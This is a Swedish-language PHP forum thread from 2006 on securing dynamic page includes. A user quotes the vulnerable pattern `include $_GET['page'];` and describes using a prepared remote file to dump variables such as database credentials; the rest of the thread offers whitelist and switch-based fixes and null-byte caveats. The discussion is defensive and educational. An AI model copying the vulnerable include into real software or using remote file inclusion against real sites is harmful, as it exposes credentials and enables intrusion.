Ett hål du inte tar upp, och som ofta är mycket farligare än SQL injection, är inkludering baserat på querystringen, t.ex.:
include $_GET['page'];
Genom att inkludera t.ex. min förgjorda http://hannesp.se/files/sauce så dumpas alla hittills satta variabler, som kan vara t.ex. inloggningsuppgifter till databasen.

Ahh... just det ja Smile

den får jag ta upp... finns massa knep med det med, även om man spärrar kataloger och ändelser... Smile

Får se om jag får tid att skriva på det efter duschen Smile
 

_________________
"Question everything. Never trust propaganda. Keep on hacking." - Phrack
Till toppen på sidan
Visa användarprofil Skicka privat meddelande Besök användarens hemsida
HannesP



Medlem i: 4424 dagar

Status: Offline



#430895
Inlägg Skrivet: 2006-11-05 19:04      Ämne: Citera

Det enklaste sättet jag känner till är nog detta, och jag tror inte att det finns något sätt att kringgå det:

PHP:
1:
 
2:
$allowed = array( 'foo''bar''baz' );
3:
if ( in_array$_GET['page'], $allowed ) ) include $_GET['page'];
4:
 
 

_________________
Without chemicals, he points.
Till toppen på sidan
Visa användarprofil Skicka privat meddelande
pengi
Ex-Moderator



Medlem i: 3977 dagar
Från: JO57XQ
Status: Offline



#430907
Inlägg Skrivet: 2006-11-05 19:20      Ämne: Citera

HannesP skrev:
Det enklaste sättet jag känner till är nog detta, och jag tror inte att det finns något sätt att kringgå det:

PHP:
1:
 
2:
$allowed = array( 'foo''bar''baz' );
3:
if ( in_array$_GET['page'], $allowed ) ) include $_GET['page'];
4:
 


Humm... det borde funka, jag vet inte hur jdet är just med php och de buggar jag tar upp ang. \0, men borde inte vara något problem.

fast det finns andra sätt man kan lösa det om man fortfarande vill ha dynamiken med att bara kunna skapa en fil i en underkatalog för att få en till undersida.

KOD:
1:
$files = glob('../undersidor/*.inc');
2:
$path = '../undersidor/'.$undersida.'.inc';
3:
if(in_array($path, $files)) {
4:
  // Ok
5:
} else {
6:
  // Fel
7:
}


Fast jag valde att inte ta upp det i huvudinlägget.



Huvudinlägget är btw. uppdaterat. Innehåller nu en text ang. Missar med Include().
 

_________________
"Question everything. Never trust propaganda. Keep on hacking." - Phrack
Till toppen på sidan
Visa användarprofil Skicka privat meddelande Besök användarens hemsida
herman



Medlem i: 4319 dagar

Status: Offline



#430908
Inlägg Skrivet: 2006-11-05 19:29      Ämne: Citera

Mycket bra, tummen upp.

herman
 
Till toppen på sidan
Visa användarprofil Skicka privat meddelande
Rango



Medlem i: 4201 dagar

Status: Offline



#430912
Inlägg Skrivet: 2006-11-05 19:37      Ämne: Citera

Inte alls illa.
Bra att du tog upp det Smile

/Rango
 
Till toppen på sidan
Visa användarprofil Skicka privat meddelande
pengi
Ex-Moderator



Medlem i: 3977 dagar
Från: JO57XQ
Status: Offline



#430914
Inlägg Skrivet: 2006-11-05 19:41      Ämne: Citera

Jag ska försöka ta upp lite php-injektion med, jag har lite ideer, fast inte något bra exempel som folk stöter på vardagligt.

får fundera på det när jag åker bort nu några timmar Smile
 

_________________
"Question everything. Never trust propaganda. Keep on hacking." - Phrack
Till toppen på sidan
Visa användarprofil Skicka privat meddelande Besök användarens hemsida
lajja
Inaktiverad



Medlem i: 4179 dagar
Från: "The United Earth"
Status: Offline



#430916
Inlägg Skrivet: 2006-11-05 19:44      Ämne: Citera

Klistra!
Klart dagens bästa inlägg Smile
 

_________________
Jag är lätt världens bästa 13-åring!

min sida - värd 170$ Razz
mitt skrivbord
Till toppen på sidan
Visa användarprofil Skicka privat meddelande Besök användarens hemsida MSN Messenger
Ninfrex



Medlem i: 4026 dagar
Från: Ängelholm
Status: Offline



#430922
Inlägg Skrivet: 2006-11-05 19:52      Ämne: Citera

Jag vet inte riktigt om jag gjort rätt nu men det funkar i alla fall.

Rätt eller fel?

PHP:
1:
<?php
2:
if (isset($_GET['page'])) {
3:
 
4:
$allowed = array('foo','bar','baz');
5:
if (in_array($_GET['page'], $allowed)) {
6:
   
7:
include $_GET['page']; 
8:
 
9:
} else {
10:
 
11:
header("location: index.php");
12:
exit;
13:
}
14:
   }
15:
 
16:
//Inkludera sidor...
17:
switch ($_GET['page']) { 
18:
 
19:
   case "forum"
20:
      include "./forum.php"
21:
      break; 
22:
   case "gastbok"
23:
      include "./gastbok.php"
24:
      break; 
25:
   default: 
26:
      include "./start.php";
27:
      break;
28:
 
29:
}
30:
?>
 
Till toppen på sidan
Visa användarprofil Skicka privat meddelande
pengi
Ex-Moderator



Medlem i: 3977 dagar
Från: JO57XQ
Status: Offline



#430926
Inlägg Skrivet: 2006-11-05 19:59      Ämne: Citera

Ninfrex skrev:
Jag vet inte riktigt om jag gjort rätt nu men det funkar i alla fall.

Rätt eller fel?

PHP:
1:
 ... 

När du inte fyller i ?page= så redirectar du till en sida som inte heller har ?page= ifylld, (samt att Location: ska varar riktad till en absolut path, inte en relativ).

sedan inkluderar du dubbelt, men principen stämmer med att du inte kan hämta otillåtna filer.

att bara använda en switch (och stryka det du har i toppen) är en absolut bra lösning på problemet med Smile
 

_________________
"Question everything. Never trust propaganda. Keep on hacking." - Phrack
Till toppen på sidan
Visa användarprofil Skicka privat meddelande Besök användarens hemsida
Ninfrex



Medlem i: 4026 dagar
Från: Ängelholm
Status: Offline



#430936
Inlägg Skrivet: 2006-11-05 20:30      Ämne: Citera

pengi skrev:
Ninfrex skrev:
Jag vet inte riktigt om jag gjort rätt nu men det funkar i alla fall.

Rätt eller fel?

PHP:
1:
 ... 

När du inte fyller i ?page= så redirectar du till en sida som inte heller har ?page= ifylld, (samt att Location: ska varar riktad till en absolut path, inte en relativ).


Hmm, förstår inte riktigt vad du menar där.

Men ja, det är sant att jag inkluderar två gånger, tänkte inte på det Razz
 
Till toppen på sidan
Visa användarprofil Skicka privat meddelande
HannesP



Medlem i: 4424 dagar

Status: Offline



#430942
Inlägg Skrivet: 2006-11-05 20:37      Ämne: Citera

Hmm, vid närmare eftertanke kan NUL-terminering kanske vara ett problem med min metod. Se den inte som 100% förrän jag/någon annan har testat den utförligt...
 

_________________
Without chemicals, he points.
Till toppen på sidan
Visa användarprofil Skicka privat meddelande
Visa tidigare inlägg:   
Skapa nytt inlägg   Svara på inlägget Gå till sida 1, 2, 3 ... 9, 10, 11  Nästa
PHPportalen Forum Index » PHP
Hoppa till:  
Du kan inte skapa nya inlägg i det här forumet
Du kan inte svara på inlägg i det här forumet
Du kan inte ändra dina inlägg i det här forumet
Du kan inte ta bort dina inlägg i det här forumet
Du kan inte rösta i det här forumet
Du kan inte bifoga filer i detta forum
Du kan inte ladda ner filer från detta forum
Kontakta oss på adressen: info@phpportalen.net
Webbplatsen bygger i grunden på phpBB © 2001, 2002 phpBB Group

Modifieringar har senare gjorts i systemet av PHPportalen
Sid och logotypdesign skapad av Daren Jularic